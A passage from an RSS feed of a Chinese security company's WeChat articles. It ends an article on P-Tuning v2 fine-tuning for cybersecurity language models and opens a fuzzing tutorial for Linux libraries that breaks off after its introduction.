v2最显著的改进源于对预训练模型的每一层应用连续提示，而不仅仅是输入层。深度提示调整增加了连续提示的能力，并缩小了不同参数量大模型微调的效果差距，尤其是对于小模型。其次，P-Tuningv2仅需要LLM大模型原始参数量的0.1%~3%的可优化训练参数，即可达到精调效果，更适应跨多任务学习，尤其是网络安全应用中大模型多任务学习能力要求更高。这不仅极大降低了算力成本，同时显著提升了效果。最后，除了P-Tuning v2微调框架，还有类似的框架叫做LoRA微调框架，LoRA框架同样也是冻结大模型原有参数，只微调少量的新增参数。为了对比2种框架的训练效果好坏，实际训练过程中也同样采用LoRA框架进行训练，在相同的算力资源和数据量下，经多次对比实验发现，P-Tuning v2在多次对比实验中的多任务综合评分分数要稍高于LoRA框架。</span></p><p style="text-align: center;"><img class="rich_pages wxw-img" data-galleryid="" data-ratio="0.3593314763231198" data-s="300,640" style="" data-type="png" data-w="718" src="https://wechat2rss.xlab.app/img-proxy/?k=8020ca0a&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2F0NpbNYDUplQiaJOkjE9GaEKaTqItCk0IvFZbPAEhxU93QmP9cWAs4WZUZBibcB36uibXBq2Ug9ibzUgv8xviczm41Zw%2F640%3Fwx_fmt%3Dpng"/></p><p cid="n8" mdtype="paragraph" style="margin-bottom: 16px;outline: 0px;font-family: system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.544px;text-indent: 0em;text-wrap: wrap;color: rgb(34, 34, 34);background-color: rgb(255, 255, 255);line-height: 25.5px;visibility: visible;"><span style="outline: 0px;letter-spacing: 0.544px;text-indent: 0em;font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-size: 15px;orphans: 4;visibility: visible;">P-Tuning v2技术在网络安全领域的优势体现在多个方面。首先，它采用大模型参数，具备强大的信息处理能力和泛化能力，能够更好地应对各种复杂的网络安全问题。其次，相比于传统的调优方法，P-Tuning v2技术可以在更大范围内进行微调，更加精确地匹配特定领域的特征，从而大幅提升模型的性能。最后，该技术可以广泛应用于各类网络安全场景，包括但不限于数据泄露、恶意攻击等，为网络安全行业带来了革命性的变革。</span></p><h2 cid="n0" mdtype="heading" style="margin-top: 24px;margin-bottom: 1rem;font-weight: bold;text-indent: 0em;white-space: pre-wrap;outline: 0px;letter-spacing: 0.544px;color: rgb(34, 34, 34);background-color: rgb(255, 255, 255);break-after: avoid-page;break-inside: avoid;orphans: 4;line-height: 1.225;cursor: text;border-bottom: 1px solid rgb(238, 238, 238);font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;text-align: start;visibility: visible;"><span style="outline: 0px;font-size: 17px;visibility: visible;">总结</span></h2><p cid="n14" mdtype="paragraph" style="margin-bottom: 16px;outline: 0px;font-family: system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.544px;text-indent: 0em;text-wrap: wrap;color: rgb(34, 34, 34);background-color: rgb(255, 255, 255);line-height: 25.5px;visibility: visible;"><span style="outline: 0px;letter-spacing: 0.544px;text-indent: 0em;font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-size: 15px;orphans: 4;visibility: visible;">总的来说，P-Tuning v2技术以其高效、轻量化算力资源优势，已经在网络安全领域取得了显著的应用成果。随着人工智能和大数据技术的不断飞速发展，我们有理由相信，未来的网络安全行业将会更加依赖于这种高效、精准的微调技术。同时，这也预示着未来科技的发展趋势：即人工智能和大数据技术在各个领域的应用将会越来越广泛和深入。</span></p><p cid="n15" mdtype="paragraph" style="margin-bottom: 16px;outline: 0px;font-family: system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.544px;text-indent: 0em;text-wrap: wrap;color: rgb(34, 34, 34);background-color: rgb(255, 255, 255);line-height: 25.5px;visibility: visible;"><span style="outline: 0px;letter-spacing: 0.544px;text-indent: 0em;font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-size: 15px;orphans: 4;visibility: visible;">面对未来科技的浪潮，期待更多的企业和组织能够关注并投入科技创新，探索更多的应用领域和应用场景。我们也相信，在科技力量的推动下，未来的网络安全行业将会变得更加安全、可靠、高效。我们期待着P-Tuning v2技术以及更多类似技术的不断涌现，它们将引领网络安全行业的未来发展，为每个服务商构建一个更加安全、可靠的数字世界。</span></p><h2 cid="n0" mdtype="heading" style="margin-top: 24px;margin-bottom: 1rem;font-weight: bold;text-indent: 0em;white-space: pre-wrap;outline: 0px;letter-spacing: 0.544px;color: rgb(34, 34, 34);background-color: rgb(255, 255, 255);break-after: avoid-page;break-inside: avoid;orphans: 4;line-height: 1.225;cursor: text;border-bottom: 1px solid rgb(238, 238, 238);font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;text-align: start;visibility: visible;"><span style="outline: 0px;font-size: 17px;visibility: visible;">参考文献</span></h2><section style="outline: 0px;font-family: system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.544px;text-indent: 0em;text-wrap: wrap;color: rgb(34, 34, 34);background-color: rgb(255, 255, 255);line-height: 25.5px;visibility: visible;margin-bottom: 0px;"><span style="outline: 0px;letter-spacing: 0.544px;text-indent: 0em;font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-size: 15px;orphans: 4;visibility: visible;"><a href="https://arxiv.org/pdf/2103.10385" target="_blank">https://arxiv.org/pdf/2103.10385</a></span><span style="outline: 0px;letter-spacing: 0.544px;text-indent: 0em;font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-size: 15px;orphans: 4;visibility: visible;">    </span></section><section style="outline: 0px;font-family: system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.544px;text-indent: 0em;text-wrap: wrap;color: rgb(34, 34, 34);background-color: rgb(255, 255, 255);line-height: 25.5px;visibility: visible;margin-bottom: 0px;"><span style="outline: 0px;letter-spacing: 0.544px;text-indent: 0em;font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-size: 15px;orphans: 4;visibility: visible;"><a href="https://arxiv.org/pdf/2110.07602" target="_blank">https://arxiv.org/pdf/2110.07602</a></span><span style="outline: 0px;letter-spacing: 0.544px;text-indent: 0em;font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-size: 15px;orphans: 4;visibility: visible;">  </span></section><section style="outline: 0px;font-family: system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.544px;text-indent: 0em;text-wrap: wrap;color: rgb(34, 34, 34);background-color: rgb(255, 255, 255);line-height: 25.5px;visibility: visible;margin-bottom: 0px;"><span style="outline: 0px;letter-spacing: 0.544px;text-indent: 0em;font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-size: 15px;orphans: 4;visibility: visible;"><a href="https://zhuanlan.zhihu.com/p/622810394" target="_blank">https://zhuanlan.zhihu.com/p/622810394</a></span></section><p cid="n15" mdtype="paragraph" style="margin-bottom: 16px;outline: 0px;font-family: system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.544px;text-indent: 0em;text-wrap: wrap;color: rgb(34, 34, 34);background-color: rgb(255, 255, 255);line-height: 25.5px;visibility: visible;"><span style="outline: 0px;letter-spacing: 0.544px;text-indent: 0em;font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-size: 15px;orphans: 4;visibility: visible;"><br/></span></p><p cid="n15" mdtype="paragraph" style="margin-bottom: 16px;outline: 0px;font-family: system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.544px;text-indent: 0em;text-wrap: wrap;color: rgb(34, 34, 34);background-color: rgb(255, 255, 255);line-height: 25.5px;visibility: visible;"><span style="outline: 0px;letter-spacing: 0.544px;text-indent: 0em;font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-size: 15px;orphans: 4;visibility: visible;"><br/></span></p><section style="outline: 0px;letter-spacing: 0.544px;text-wrap: wrap;color: rgb(34, 34, 34);font-family: -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;background-color: rgb(255, 255, 255);font-size: 16px;widows: 1;"><section data-mid="" mpa-from-tpl="t" style="outline: 0px;display: flex;justify-content: center;align-items: center;width: 677px;"><section data-mid="" mpa-from-tpl="t" style="outline: 0px;display: flex;justify-content: center;align-items: center;"><section data-mid="" mpa-from-tpl="t" msthidden="1" style="outline: 0px;width: 6px;height: 6px;transform: translateX(14px);"><img class="rich_pages wxw-img" data-ratio="1" data-type="png" data-w="12" style="outline: 0px;display: block;visibility: visible !important;width: 12px !important;" src="https://wechat2rss.xlab.app/img-proxy/?k=d6229ea8&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FasLg7via5ibAkf1mRkpS4IuZibZE5eeC0t8nibIZBfZEekibOEZVWyf9jHzIVvT2sTzKS1OtZzSBErxJUZXD1AwAAWw%2F640%3Fwx_fmt%3Dpng%26wxfrom%3D5%26wx_lazy%3D1%26wx_co%3D1"/></section><section data-mid="" mpa-from-tpl="t" style="padding-right: 4px;padding-left: 4px;outline: 0px;text-align: center;"><p data-mid="" msthash="2289326" msttexthash="12647050" style="padding-right: 16px;padding-left: 16px;outline: 0px;font-size: 14px;font-family: PingFangSC-Semibold, &#34;PingFang SC&#34;;font-weight: bold;color: rgb(27, 110, 201);line-height: 20px;border-bottom: 1px solid rgb(27, 110, 201);text-align: left;">往期回顾</p></section><section data-mid="" mpa-from-tpl="t" msthidden="1" style="outline: 0px;width: 6px;height: 6px;transform: translateX(-14px);"><img class="rich_pages wxw-img" data-ratio="1" data-type="png" data-w="12" style="outline: 0px;display: block;visibility: visible !important;width: 12px !important;" src="https://wechat2rss.xlab.app/img-proxy/?k=cb9bc775&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FicjDF5uGXY5ibE0P0Mtzns3KNb5hsCIKPfMIRultHDbmzgJcDaibI4wNKM6ZloyGRtRovyXtVdv3SuuVOcmA8gn8A%2F640%3Fwx_fmt%3Dpng%26wxfrom%3D5%26wx_lazy%3D1%26wx_co%3D1"/></section></section></section></section><h1 style="margin-bottom: 14px;outline: 0px;font-size: 22px;line-height: 1.4;font-family: system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.544px;text-align: center;text-wrap: wrap;background-color: rgb(255, 255, 255);"><a target="_blank" href="http://mp.weixin.qq.com/s?__biz=MzkwNzIxMDUyNg==&amp;mid=2247485207&amp;idx=1&amp;sn=939c2f66768d68b8824f15f0648d8de6&amp;chksm=c0ddfd66f7aa7470d834d67de0c57cfd5b1ced815d69a9a5ea485a7cd67360a83a76d560b8d8&amp;scene=21#wechat_redirect" textvalue="源码模糊测试实战" linktype="text" imgurl="" imgdata="null" data-itemshowtype="0" tab="innerlink" data-linktype="2"><span style="font-size: 14px;">源码模糊测试实战</span></a></h1><h1 style="margin-bottom: 14px;font-size: 22px;text-wrap: wrap;outline: 0px;font-family: system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.544px;line-height: 1.4;text-align: center;background-color: rgb(255, 255, 255);"><a target="_blank" href="http://mp.weixin.qq.com/s?__biz=MzkwNzIxMDUyNg==&amp;mid=2247485159&amp;idx=1&amp;sn=589428e1e56394461dedf5fee2e52c09&amp;chksm=c0ddfc96f7aa75801afacbbf7d04903d90fae0ace4a795b6c01a0794587ec8dc5923e25bc8fd&amp;scene=21#wechat_redirect" textvalue="代理端口复用在后渗透场景中的应用探究" linktype="text" imgurl="" imgdata="null" data-itemshowtype="0" tab="innerlink" data-linktype="2" hasload="1" style="color: var(--weui-LINK);outline: 0px;cursor: pointer;"><span style="outline: 0px;font-size: 14px;">代理端口复用在后渗透场景中的应用探究</span></a></h1><h1 style="margin-bottom: 14px;outline: 0px;font-size: 22px;font-family: system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.544px;text-wrap: wrap;line-height: 1.4;text-align: center;background-color: rgb(255, 255, 255);"><a target="_blank" href="http://mp.weixin.qq.com/s?__biz=MzkwNzIxMDUyNg==&amp;mid=2247485142&amp;idx=1&amp;sn=81612930652625bf3d810b63e2397975&amp;chksm=c0ddfca7f7aa75b19b2e089f7322c005c45d9592b7d15389a44f798f598c44d2c8b6300ef377&amp;scene=21#wechat_redirect" textvalue="某OA系统未授权SQL注入漏洞分析" linktype="text" imgurl="" imgdata="null" data-itemshowtype="0" tab="innerlink" data-linktype="2" hasload="1" style="outline: 0px;color: var(--weui-LINK);cursor: pointer;"><span style="outline: 0px;font-size: 14px;">某OA系统未授权SQL注入漏洞分析</span></a></h1><p style="outline: 0px;font-family: system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.544px;text-wrap: wrap;color: rgb(34, 34, 34);background-color: rgb(255, 255, 255);text-align: center;"><br style="outline: 0px;"/></p><section msthidden="1" style="margin-top: 10px;margin-bottom: 10px;outline: 0px;text-wrap: wrap;background-color: rgb(255, 255, 255);font-family: -webkit-standard;font-size: 16px;letter-spacing: 1.5px;widows: 1;color: rgb(11, 121, 255);word-break: break-all;text-align: center;"><img class="rich_pages wxw-img" data-galleryid="" data-ratio="0.43333333333333335" data-s="300,640" style="outline: 0px;font-family: -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.544px;display: initial;visibility: visible !important;width: 194px !important;" data-type="png" data-w="1080" src="https://wechat2rss.xlab.app/img-proxy/?k=9bdadcd1&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2F7lCiaSMMkhia4WIkRNZHTwq8jJicy27jdbWa7ED26252RGmSPRE0rmHQsgZ6ZoichVyFNlvhLelZS09a194B9dyoAQ%2F640%3Fwx_fmt%3Dpng%26wxfrom%3D5%26wx_lazy%3D1%26wx_co%3D1"/></section><section style="margin-top: 10px;margin-bottom: 10px;outline: 0px;text-wrap: wrap;background-color: rgb(255, 255, 255);font-family: -webkit-standard;font-size: 16px;letter-spacing: 1.5px;widows: 1;color: rgb(11, 121, 255);word-break: break-all;text-align: center;"><span msthash="438322" msttexthash="46068516" style="outline: 0px;color: rgb(27, 110, 201);letter-spacing: 2px;">引领智能网络攻防科技</span></section><section msthidden="1" style="margin-top: 10px;margin-bottom: 10px;outline: 0px;text-wrap: wrap;color: rgb(34, 34, 34);background-color: rgb(255, 255, 255);font-family: -webkit-standard;font-size: 16px;letter-spacing: 1.5px;widows: 1;word-break: break-all;text-align: center;"><span msthidden="1" style="outline: 0px;color: rgb(27, 110, 201);"><img class="rich_pages wxw-img __bg_gif" data-copyright="0" data-ratio="0.0734375" style="outline: 0px;display: initial;visibility: visible !important;width: 544px !important;" data-type="gif" data-w="640" src="https://wechat2rss.xlab.app/img-proxy/?k=530afaf0&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_gif%2FCD1iaLIMEhibPv9rc3gdLj3g6fiaAcCZqIicylIMVKlbvd5ic5usJ2oia9cTgavs6BwQpEEYbfglc82kCJ0Qic3OHMEaw%2F640%3Fwx_fmt%3Dgif%26wxfrom%3D5%26wx_lazy%3D1"/></span></section><section data-brushtype="text" style="margin: 15px 1em;outline: 0px;letter-spacing: 0.544px;text-wrap: wrap;color: rgb(34, 34, 34);font-family: -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;background-color: rgb(255, 255, 255);font-size: 16px;widows: 1;line-height: 1.75em;"><section class="mp_profile_iframe_wrp" style="outline: 0px;"><mp-common-profile data-index="0" data-id="MzU5ODE2NDA3NA==" data-headimg="http://mmbiz.qpic.cn/mmbiz_png/7lCiaSMMkhia7dpwexuaibUE3Eb0z03gPLaYB4PHo7G8BE9eAlRk9NoXRfjDMAxXV0OSYSdZS7KPqic8GNUkqxch7g/0?wx_fmt=png" data-nickname="墨云安全" data-alias="moyunsec" data-signature="墨云科技，更智能的网络攻防！" data-origin_num="46" data-is_biz_ban="0" data-isban="0" class="js_wx_tap_highlight" data-from="2" has-insert-preloading="1" data-weui-theme="light" data-biz_account_status="0"></mp-common-profile></section><section msthash="837304" msttexthash="11380889" style="margin-top: 15px;margin-bottom: 10px;outline: 0px;letter-spacing: 0.544px;line-height: 1.75em;text-align: center;"><span style="outline: 0px;color: rgb(136, 136, 136);font-family: Optima-Regular, PingFangTC-light;font-size: 15px;letter-spacing: 1.5px;">点击</span><span style="outline: 0px;letter-spacing: 0.544px;text-align: start;font-family: Optima-Regular, PingFangTC-light;font-size: 15px;color: rgb(99, 121, 161);"><strong style="outline: 0px;">在看</strong></span></section><section style="margin-top: 5px;margin-bottom: 15px;outline: 0px;letter-spacing: 0.544px;line-height: 1.75em;text-align: center;"><span msthash="837305" msttexthash="16926988" style="outline: 0px;color: rgb(136, 136, 136);font-family: Optima-Regular, PingFangTC-light;font-size: 15px;letter-spacing: 1.5px;">分享给小伙伴</span></section><section style="outline: 0px;"><br style="outline: 0px;"/></section><section style="outline: 0px;text-align: left;"><span style="outline: 0px;letter-spacing: 0.544px;font-family: Optima-Regular, PingFangTC-light;font-size: 14px;color: rgb(136, 136, 136);">↓↓点击</span><span msthash="837306" msttexthash="88348169" style="outline: 0px;font-size: 14px;letter-spacing: 0.544px;font-family: Optima-Regular, PingFangTC-light;color: rgb(99, 121, 161);"><strong style="outline: 0px;">阅读原文</strong></span><span style="outline: 0px;letter-spacing: 0.544px;font-family: Optima-Regular, PingFangTC-light;font-size: 14px;color: rgb(136, 136, 136);">，了解更多墨云信息</span></section></section><p style="display: none;"><mp-style-type data-value="3"></mp-style-type></p>



<p><a href="http://www.vackbot.com">阅读原文</a></p>
<p><a href="https://wechat2rss.xlab.app/link-proxy/?k=937ec650&amp;r=1&amp;u=https%3A%2F%2Fmp.weixin.qq.com%2Fs%3F__biz%3DMzkwNzIxMDUyNg%3D%3D%26mid%3D2247485220%26idx%3D1%26sn%3D44196d8369d02cae4f39cbfbc91ee955%26subscene%3D0">跳转微信打开</a></p>
]]></content:encoded>
      <pubDate>Fri, 01 Sep 2023 18:00:00 +0800</pubDate>
    </item>
    <item>
      <title>源码模糊测试实战</title>
      <link>https://mp.weixin.qq.com/s?__biz=MzkwNzIxMDUyNg==&amp;mid=2247485207&amp;idx=1&amp;sn=939c2f66768d68b8824f15f0648d8de6</link>
      <description>本文将带您进入Linux软件库Fuzzing的世界，向您展示如何利用Fuzzing技术，挖掘和发现潜在的安全漏洞，以提高软件库的安全性和可靠性。</description>
      <content:encoded><![CDATA[<p>
原创 <span>VLab安全实验室</span> <span>2023-08-18 18:06</span> <span style="display: inline-block;">北京</span>
</p>

<p>本文将带您进入Linux软件库Fuzzing的世界，向您展示如何利用Fuzzing技术，挖掘和发现潜在的安全漏洞，以提高软件库的安全性和可靠性。</p>
<p></p>



<p>
<img src="https://wechat2rss.xlab.app/img-proxy/?k=11b0ced0&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_jpg%2F0NpbNYDUplRMwjviatJrb4qwOytnO0ZSOczy2WiassaR9b9GL94N0GiaHhNPc90ib8USQffRPJpD0QezCR6Ol0StRw%2F0%3Fwx_fmt%3Djpeg"/>
</p>


<p style="outline: 0px;font-family: system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.544px;background-color: rgb(255, 255, 255);text-align: center;visibility: visible;"><img class="rich_pages wxw-img" data-croporisrc="https://mmbiz.qpic.cn/sz_mmbiz_png/0NpbNYDUplSVAeJNFpOlXC5uBg86icOw5lWorq5EHkq0S23icUZq77ney00MjKAUXEicQiaeOzjibibNFgJRyS6jL4Yg/0?wx_fmt=png" data-cropx1="54.21686746987952" data-cropx2="500" data-cropy1="0" data-cropy2="373.49397590361446" data-galleryid="" data-ratio="0.8363228699551569" data-s="300,640" style="outline: 0px;visibility: visible !important;width: 74px !important;" data-type="jpeg" data-w="446" src="https://wechat2rss.xlab.app/img-proxy/?k=b0bd8e02&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_jpg%2F0NpbNYDUplQVdTRRJicJ2azEOTmTY3OafecibSXaJYKEr60h31TRUOicdYD6RzewdFzj1fiawg9HD0kgaicibZwQmKaQ%2F640%3Fwx_fmt%3Djpeg%26wxfrom%3D5%26wx_lazy%3D1%26wx_co%3D1"/></p><section style="margin-right: 8px;margin-left: 8px;outline: 0px;letter-spacing: 0.544px;color: rgb(34, 34, 34);font-family: -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;background-color: rgb(255, 255, 255);text-align: center;visibility: visible;"><strong style="outline: 0px;visibility: visible;"><span style="outline: 0px;color: rgb(27, 110, 201);font-family: -webkit-standard;widows: 1;font-size: 14px;visibility: visible;">VLab-实验室</span></strong></section><p style="outline: 0px;font-family: system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.544px;background-color: rgb(255, 255, 255);text-align: center;visibility: visible;"><img class="rich_pages wxw-img __bg_gif" data-ratio="0.1875" data-s="300,640" style="outline: 0px;visibility: visible !important;width: 76px !important;" data-type="gifwxfrom=5wx_lazy=1" data-w="128" src="https://wechat2rss.xlab.app/img-proxy/?k=8c660053&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_gif%2F2TSketEedQ9mmk8nGa8zUv26iapUUPIczjUGSuap1ZqpQO56wnwGGmwkicPphswx7DG3CgAribFoibGw48d3VoQ17g%2F640%3Fwx_fmt%3Dgif%26wxfrom%3D5%26wx_lazy%3D1"/></p><section style="margin-bottom: 16px;outline: 0px;font-family: system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.544px;text-indent: 0em;color: rgb(34, 34, 34);background-color: rgb(255, 255, 255);line-height: 25.5px;visibility: visible;"><span style="outline: 0px;letter-spacing: 0.544px;text-indent: 0em;font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-size: 15px;orphans: 4;visibility: visible;">随着现代软件的复杂性和功能不断增加，软件库在Linux系统中扮演着至关重要的角色，为应用程序和系统提供了丰富的功能和支持。然而，这些软件库可能存在着未知的漏洞和潜在的安全风险，给系统带来潜在的安全威胁。在安全研究和漏洞挖掘领域，Fuzzing（模糊测试）已经成为一种广泛应用的自动化测试技术。Fuzzing通过生成大量随机或半随机的输入来模拟真实世界中的异常情况，并将这些输入提供给目标软件，以寻找潜在的漏洞和错误。</span></section><p cid="n4" mdtype="paragraph" style="margin-bottom: 16px;outline: 0px;font-family: system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.544px;text-indent: 0em;color: rgb(34, 34, 34);background-color: rgb(255, 255, 255);line-height: 25.5px;visibility: visible;"><span style="outline: 0px;letter-spacing: 0.544px;text-indent: 0em;font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-size: 15px;orphans: 4;visibility: visible;">本文将带您进入Linux软件库Fuzzing的世界，向您展示如何利用Fuzzing技术，挖掘和发现潜在的安全漏洞，以提高软件库的安全性和可靠性。本文将介绍Fuzzing的基本原理，选择适当的Fuzzing工具，以及如何有效地执行Fuzzing实验。</span></p><h2 cid="n0" mdtype="heading" style="margin-top: 24px;margin-bottom: 1rem;font-weight: bold;outline: 0px;letter-spacing: 0.544px;text-indent: 0em;white-space: pre-wrap;color: rgb(34, 34, 34);background-color: rgb(255, 255, 255);break-after: avoid-page;break-inside: avoid;orphans: 4;line-height: 1.225;cursor: text;border-bottom: 1px solid rgb(238, 238, 238);font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;text-align: start;visibility: visible;"><span style="outline: 0px;font-size: 17px;visibility: visible;">模糊测试简介</span></h2><p style="margin-bottom: 16px;outline: 0px;font-family: system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.544px;text-indent: 0em;color: rgb(34, 34, 34);background-color: rgb(255, 255, 255);line-height: 25.5px;text-align: left;visibility: visible;"><span style="font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;orphans: 4;text-align: justify;letter-spacing: 0.544px;text-indent: 0em;outline: 0px;font-size: 15px;visibility: visible;">目前网络上有大量的文章对模糊测试这项技术进行了分析总结，这里不做过多阐述。由于本次选择的目标是Linux操作系</span><span style="font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;orphans: 4;text-align: justify;letter-spacing: 0.544px;text-indent: 0em;outline: 0px;font-size: 